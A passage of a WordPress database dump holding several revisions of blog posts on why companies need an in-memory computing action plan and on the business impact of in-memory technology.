get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\n\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\n\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\n\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\n\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\n\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\n\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\n\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\n<h3>Questions and Answers</h3>\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\n\nFrom a short-term standpoint, I can’t disagree with that.\n\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\n\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\n\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\n\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\n\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\n\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\n\n&nbsp;\n\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\n\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\n\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\n\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\n\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\n\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\n\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\n\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\n\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\n\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\n\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\n\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-autosave-v1','','','2014-07-23 13:32:09','2014-07-23 13:32:09','',242,'http://localhost/yalavarthitechnologies/blog/?p=250',0,'revision','',0),(251,1,'2014-07-23 12:56:36','2014-07-23 12:56:36','','memory_action _plan','','inherit','open','open','','memory_action-_plan','','','2014-07-23 12:56:36','2014-07-23 12:56:36','',242,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan.jpg',0,'attachment','image/jpeg',0),(252,1,'2014-07-23 13:01:14','2014-07-23 13:01:14','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n<strong><a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1.jpg\"><img class=\"alignleft size-thumbnail wp-image-247\" alt=\"in-memory-action-plan_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1-150x150.jpg\" width=\"150\" height=\"150\" /></a> </strong>\r\n<p style=\"text-align: center;\">You need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong></p>\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n<strong><a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan.jpg\"><img class=\"size-thumbnail wp-image-251 alignleft\" alt=\"memory_action _plan\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan-150x150.jpg\" width=\"150\" height=\"150\" /></a></strong>\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-revision-v1','','','2014-07-23 13:01:14','2014-07-23 13:01:14','',242,'http://localhost/yalavarthitechnologies/blog/?p=252',0,'revision','',0),(253,1,'2014-07-23 13:04:48','2014-07-23 13:04:48','<strong>Summary:</strong>\r\n<h3>Business impact of in-memory computing</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/business-impact-of-in-memory.jpg\"><img class=\"alignleft size-thumbnail wp-image-266\" alt=\"business-impact-of-in-memory\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/business-impact-of-in-memory-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nWhat is the impact of in-memory computing on your business? It’s about running the business, growing the business, and transforming the business, and you need to look at the business impact of this technology across all of these.\r\n<h3>Run the business</h3>\r\nOne of the biggest advantages of memory that people forget is this: right now, you have lots of applications. And today, people typically have one application per server. Let’s say you have your corporate running on ten servers today, and it’s spread out across locations, because of storage access and the speed of the processors and the speed of the applications and the database access.\r\n\r\nIf I can consolidate that down to a single server, I‘m going to save a lot of money, right off the bat. Not only power, floor space, cooling, but replacement costs every three to four years for ten or twenty servers is more than one. It’s not necessarily a single server — it may be one or two — but it’s going to be much fewer.\r\n\r\nThe people required to maintain it are going to be fewer, your maintenance costs per year are going to be less, everything is less. So the speed of these in-memory technologies on just running your business – forget about transforming for a minute – is going to be a huge savings. Because <strong>if one applications runs a hundred times faster on a server, I can get more applications on that server. </strong>\r\n\r\nWhen I said you you’re going to <a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">run your whole business in-memory in 10 or 15 years</a>, I left off the fact that it’s going to be on a single server the size of what you think of as a desktop server, plugged into the wall with no special air conditioning needs. That’s the kind of miniaturization and speed that in-memory is bringing to the table, with huge savings.\r\n\r\nI know many of you are saying “he’s not talking about high availability or disaster recovery”. All of that is coming — and it also is miniaturized. You’re not going to run your business on one of these, you’re going to run your business on two of them, sitting next to each other, duplicating everything it does, synchronously. That’s your high availability. Then you’ll put another one somewhere else, in somebody’s home, 250 or 800 kilometers away, and that’s your disaster recovery center. You hire a disaster recovery manager in Perth, and put the disaster recovery in his house — that’s the way it will be in the future.\r\n<h3>Transform the business</h3>\r\nThe latency with in-memory is so low that you can <strong>do things synchronously that you wouldn’t have thought to do synchronously before</strong>. It’s not only a matter of how many things you can do, and how much you can fit into this box because of the speed, but it’s also because of what the latency is going to give you.\r\n\r\nWhy is that important? Think about where information and mobile and social come together, and you need to do messaging and things like that. Because of this lower latency, I can start to do things I couldn’t even consider before, because I couldn’t get it fast enough to even think about it.\r\n\r\nHow many of you may have applications that you thought about doing, but because things took so long on your system, it’s just not reasonable to do? I’m not talking about the demonstrable ones like if you’re in the manufacturing business, your MRP run takes four to six hours overnight, now you can run it in five seconds. So you can use the application differently.\r\n\r\nAnd other things that you couldn’t do at all now become possible. As we start to do sentiment analysis, looking at social networks, and building it into a planning application that I’m running in seconds, that’s huge in the way you can change your business.\r\n\r\nThink about if somebody says to you “I want to buy 10,000 cases” and you don’t even know if you can produce that. And then he says “I want it next week.”\r\n\r\nHow long does it take your company to commit to that, and to figure out a price, that may in fact be higher because I’m going to bounce other customers off the production line in order to get this done? If you can do that with a latency in seconds, it changes the way you do business.\r\n\r\nThat now is getting into “transform the business” because <strong>an application that you view as “a forecasting package that I run overnight” is not a just a forecasting package if I can run it in five seconds or two minutes. It becomes a sales tool</strong>, changing the way I’m doing business.\r\n\r\nThe example that I like to use is this: airlines want to sell you discount tickets. Most people don’t know that airlines re-price all the tickets on all their planes every night. So your company goes and buys a full-fare ticket because you need it refundable.\r\n\r\nThe next day, that flight may have two more discount tickets because they have a yield that they need for each plane, for each flight, so they can actually go through a whole calculation that tells them how many discount tickets they can have. Now, why is this valuable to them? Well, if you get on to, say, Qantas today and say “I want to go to Singapore and I want a discount ticket” and there are none on the day of the flight that you want, most of you wait until tomorrow to see if there are any, right?” Not true – most people don’t even know that happens. Instead, what you’re going to do is switch over to Singapore Airlines and if they have a ticket, you’re going to buy it and Qantas just lost the revenue.\r\n\r\nBut if Qantas could re-price every seat on every plane <em>every time a ticket was sold</em>, that business wouldn’t go away. If you had an application like that, which in-memory will allow you to do, and you went to the CEO of the airline and said “we have this application, do you want it?”, how much do you think they would be willing to pay? I’ll tell you — they won’t even ask how much it costs. That’s how much it transforms their business, and changes what they do. They’ll pay whatever you want.\r\n<h3>In-memory computing technologies</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/taxonomy-of-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-267\" alt=\"taxonomy-of-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/taxonomy-of-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nSo far, we’ve been talking just about in-memory DBMS. Here are some of the other ways the technology is used.\r\n\r\n<strong>In-memory data grids </strong>have been around a long time. If any of you do web applications, you may be using some them. <a href=\"http://memcached.org/\" target=\"_blank\">Memcached</a> is the one that comes to mind – an open-source product – where your data’s in memory, in the application, and scales across multiple computers, multiple servers. That technology’s been around a long time and enables some of the biggest web applications that you’re all using, including Amazon, including eBay, and all the spinoffs of those.\r\n\r\n<strong>High-performance messaging infrastructure</strong>. Think about what happens if you want to send a message out to four or five thousand of your customers at a time. It’s an SMS message or whatever, in-memory’s going to be able to do that much quicker.\r\n\r\nWouldn’t it be nice if you’re an airline, and you’re cancelling a flight, to get those messages out quickly? Or, in retail, if you’re going to have a special pricing discount, you’re going to send out to all the customers registered on your site, and you’re a big retailer with one hundred thousand or a million customers, think about how high-performance messaging is going to happen.\r\n\r\n<strong>Complex event processing</strong>. That’s what fraud detection is all about, especially for cloned cell phones, for trading fraud, for credit-card fraud, for anything where some analysis is taking place on streaming data coming into a computer and in real-time. I make a decision on an event that’s happening, and then do something about it.\r\n\r\n<strong>In-memory application servers</strong>. These are necessary if you’re going to do this consolidation onto a single or double box of all your applications. Your application servers have to be in-memory, and they can’t be based on disk drives, or they’re not going to run as fast as all the other technology that is enabled with the applications running in the application server.\r\n\r\nAll of these together make up “in-memory technologies”. The providers of this technology are going to merge together and all of this is going to become an in-memory megadata platform over the next three to five years. Data grids are going to go away and just become part of the in-memory database. These two will be the first to merge, and they’re merging already with in-memory analytic applications and application servers.\r\n\r\nThat’s the future, as they merge together, which will enable you to run your whole business in memory.\r\n<h3>Drivers of in-memory computing</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/drivers-of-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-268\" alt=\"drivers-of-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/drivers-of-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nSo what drives all this? Well, big data. Now remember “big data” is not just about volume. When we mention big data with respect to in-memory, people think we’re crazy, because big data is a lot of data, and people say “I’m not going to put a petabyte in memory: it’s too expensive!”\r\n\r\n“<strong>Big Data</strong>” is volume (big size) and/or velocity(how fast the data’s coming in) and/or the variety of data(unstructured data). In-memory can support velocity today, that’s one the first use case of it, high-speed data coming in through event processing, smart metering, etc. And it can support unstructured data. As the price comes down, as compression gets better, it’ll also get start to get larger and larger on volume of data.\r\n\r\n<strong>Real-time analytics.</strong> For years, Gartner has said there is no such thing as “real-time.” Today, you are running analytics on data that is coming from a transaction system. If I have to say it that way, there’s a latency there. Some ETL or data integration process has to move data from the transaction system to the data warehouse before you can do those analytics. The only way you can do real-time analytics is if it’s being done on the transaction data when it’s completed. So that is one of the drivers for this.\r\n\r\n<strong>24×7 with no batch windows</strong>. If you batch window drops to less than zero, you’re going to have to run things very quickly. Batch is going away. That Materials Requirement Planning batch run that takes six hours? If it starts to run in 3-4 seconds, it’s really no longer batch.\r\n\r\nSo the whole concept of batch disappears with in-memory technology. Any time you see words like “awareness” then you’re talking about in-memory. In order to make any applications aware of things it means real time, and it means you need the speed and low latency of in-memory technology to do it.\r\n<h3>Inhibitors of in-memory computing adoption</h3>\r\nSo what’s slowing us down?\r\n\r\nA lot of these are perceptions. So the perception that it’s a complex architecture: it doesn’t have to be.\r\n\r\nThe perception that it’s unrealistic: today, this technology is emerging, and yes, it’s disruptive, but no, you can’t do everything with it. So the expectations have to be set right. There are of course no standards, there aren’t a lot of skills and there’s not a lot of best practices yet, because this is just emerging with those. That will happen over the next few years.\r\n\r\nSo yes, there are many drivers, but at the same time there are many inhibitors, a lot of which you can change by setting expectations and perceptions correctly. So you start to think about IT looking at all this data and saying “what do I do with it all?” and the bottom line is: <strong>if your assumptions are that you can’t do anything with it, you’re not going to do anything with it.</strong>','The Business Impact of In-Memory Computing, From Run to Transform','','publish','open','open','','the-business-impact-of-in-memory-computing-from-run-to-transform','','','2014-07-23 13:41:19','2014-07-23 13:41:19','',0,'http://localhost/yalavarthitechnologies/blog/?p=253',0,'post','',0),(254,1,'2014-07-23 13:04:48','2014-07-23 13:04:48','<strong>Summary:</strong>\r\n<h3>Business impact of in-memory computing</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/business-impact-of-in-memory.jpg\"><img title=\"business-impact-of-in-memory\" alt=\"business-impact-of-in-memory\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/business-impact-of-in-memory_thumb.jpg\" width=\"540\" height=\"389\" border=\"0\" /></a>\r\n\r\nWhat is the impact of in-memory computing on your business? It’s about running the business, growing the business, and transforming the business, and you need to look at the business impact of this technology across all of these.\r\n<h3>Run the business</h3>\r\nOne of the biggest advantages of memory that people forget is this: right now, you have lots of applications. And today, people typically have one application per server. Let’s say you have your corporate running on ten servers today, and it’s spread out across locations, because of storage access and the speed of the processors and the speed of the applications and the database access.\r\n\r\nIf I can consolidate that down to a single server, I‘m going to save a lot of money, right off the bat. Not only power, floor space, cooling, but replacement costs every three to four years for ten or twenty servers is more than one. It’s not necessarily a single server — it may be one or two — but it’s going to be much fewer.\r\n\r\nThe people required to maintain it are going to be fewer, your maintenance costs per year are going to be less, everything is less. So the speed of these in-memory technologies on just running your business – forget about transforming for a minute – is going to be a huge savings. Because <strong>if one applications runs a hundred times faster on a server, I can get more applications on that server. </strong>\r\n\r\nWhen I said you you’re going to <a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">run your whole business in-memory in 10 or 15 years</a>, I left off the fact that it’s going to be on a single server the size of what you think of as a desktop server, plugged into the wall with no special air conditioning needs. That’s the kind of miniaturization and speed that in-memory is bringing to the table, with huge savings.\r\n\r\nI know many of you are saying “he’s not talking about high availability or disaster recovery”. All of that is coming — and it also is miniaturized. You’re not going to run your business on one of these, you’re going to run your business on two of them, sitting next to each other, duplicating everything it does, synchronously. That’s your high availability. Then you’ll put another one somewhere else, in somebody’s home, 250 or 800 kilometers away, and that’s your disaster recovery center. You hire a disaster recovery manager in Perth, and put the disaster recovery in his house — that’s the way it will be in the future.\r\n<h3>Transform the business</h3>\r\nThe latency with in-memory is so low that you can <strong>do things synchronously that you wouldn’t have thought to do synchronously before</strong>. It’s not only a matter of how many things you can do, and how much you can fit into this box because of the speed, but it’s also because of what the latency is going to give you.\r\n\r\nWhy is that important? Think about where information and mobile and social come together, and you need to do messaging and things like that. Because of this lower latency, I can start to do things I couldn’t even consider before, because I couldn’t get it fast enough to even think about it.\r\n\r\nHow many of you may have applications that you thought about doing, but because things took so long on your system, it’s just not reasonable to do? I’m not talking about the demonstrable ones like if you’re in the manufacturing business, your MRP run takes four to six hours overnight, now you can run it in five seconds. So you can use the application differently.\r\n\r\nAnd other things that you couldn’t do at all now become possible. As we start to do sentiment analysis, looking at social networks, and building it into a planning application that I’m running in seconds, that’s huge in the way you can change your business.\r\n\r\nThink about if somebody says to you “I want to buy 10,000 cases” and you don’t even know if you can produce that. And then he says “I want it next week.”\r\n\r\nHow long does it take your company to commit to that, and to figure out a price, that may in fact be higher because I’m going to bounce other customers off the production line in order to get this done? If you can do that with a latency in seconds, it changes the way you do business.\r\n\r\nThat now is getting into “transform the business” because <strong>an application that you view as “a forecasting package that I run overnight” is not a just a forecasting package if I can run it in five seconds or two minutes. It becomes a sales tool</strong>, changing the way I’m doing business.\r\n\r\nThe example that I like to use is this: airlines want to sell you discount tickets. Most people don’t know that airlines re-price all the tickets on all their planes every night. So your company goes and buys a full-fare ticket because you need it refundable.\r\n\r\nThe next day, that flight may have two more discount tickets because they have a yield that they need for each plane, for each flight, so they can actually go through a whole calculation that tells them how many discount tickets they can have. Now, why is this valuable to them? Well, if you get on to, say, Qantas today and say “I want to go to Singapore and I want a discount ticket” and there are none on the day of the flight that you want, most of you wait until tomorrow to see if there are any, right?” Not true – most people don’t even know that happens. Instead, what you’re going to do is switch over to Singapore Airlines and if they have a ticket, you’re going to buy it and Qantas just lost the revenue.\r\n\r\nBut if Qantas could re-price every seat on every plane <em>every time a ticket was sold</em>, that business wouldn’t go away. If you had an application like that, which in-memory will allow you to do, and you went to the CEO of the airline and said “we have this application, do you want it?”, how much do you think they would be willing to pay? I’ll tell you — they won’t even ask how much it costs. That’s how much it transforms their business, and changes what they do. They’ll pay whatever you want.\r\n<h3>In-memory computing technologies</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/taxonomy-of-in-memory.jpg\"><img title=\"taxonomy-of-in-memory\" alt=\"taxonomy-of-in-memory\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/taxonomy-of-in-memory_thumb.jpg\" width=\"521\" height=\"399\" border=\"0\" /></a>\r\n\r\nSo far, we’ve been talking just about in-memory DBMS. Here are some of the other ways the technology is used.\r\n\r\n<strong>In-memory data grids </strong>have been around a long time. If any of you do web applications, you may be using some them. <a href=\"http://memcached.org/\" target=\"_blank\">Memcached</a> is the one that comes to mind – an open-source product – where your data’s in memory, in the application, and scales across multiple computers, multiple servers. That technology’s been around a long time and enables some of the biggest web applications that you’re all using, including Amazon, including eBay, and all the spinoffs of those.\r\n\r\n<strong>High-performance messaging infrastructure</strong>. Think about what happens if you want to send a message out to four or five thousand of your customers at a time. It’s an SMS message or whatever, in-memory’s going to be able to do that much quicker.\r\n\r\nWouldn’t it be nice if you’re an airline, and you’re cancelling a flight, to get those messages out quickly? Or, in retail, if you’re going to have a special pricing discount, you’re going to send out to all the customers registered on your site, and you’re a big retailer with one hundred thousand or a million customers, think about how high-performance messaging is going to happen.\r\n\r\n<strong>Complex event processing</strong>. That’s what fraud detection is all about, especially for cloned cell phones, for trading fraud, for credit-card fraud, for anything where some analysis is taking place on streaming data coming into a computer and in real-time. I make a decision on an event that’s happening, and then do something about it.\r\n\r\n<strong>In-memory application servers</strong>. These are necessary if you’re going to do this consolidation onto a single or double box of all your applications. Your application servers have to be in-memory, and they can’t be based on disk drives, or they’re not going to run as fast as all the other technology that is enabled with the applications running in the application server.\r\n\r\nAll of these together make up “in-memory technologies”. The providers of this technology are going to merge together and all of this is going to become an in-memory megadata platform over the next three to five years. Data grids are going to go away and just become part of the in-memory database. These two will be the first to merge, and they’re merging already with in-memory analytic applications and application servers.\r\n\r\nThat’s the future, as they merge together, which will enable you to run your whole business in memory.\r\n<h3>Drivers of in-memory computing</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/drivers-of-in-memory.jpg\"><img title=\"drivers-of-in-memory\" alt=\"drivers-of-in-memory\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/drivers-of-in-memory_thumb.jpg\" width=\"550\" height=\"419\" border=\"0\" /></a>\r\n\r\nSo what drives all this? Well, big data. Now remember “big data” is not just about volume. When we mention big data with respect to in-memory, people think we’re crazy, because big data is a lot of data, and people say “I’m not going to put a petabyte in memory: it’s too expensive!”\r\n\r\n“<strong>Big Data</strong>” is volume (big size) and/or velocity(how fast the data’s coming in) and/or the variety of data(unstructured data). In-memory can support velocity today, that’s one the first use case of it, high-speed data coming in through event processing, smart metering, etc. And it can support unstructured data. As the price comes down, as compression gets better, it’ll also get start to get larger and larger on volume of data.\r\n\r\n<strong>Real-time analytics.</strong> For years, Gartner has said there is no such thing as “real-time.” Today, you are running analytics on data that is coming from a transaction system. If I have to say it that way, there’s a latency there. Some ETL or data integration process has to move data 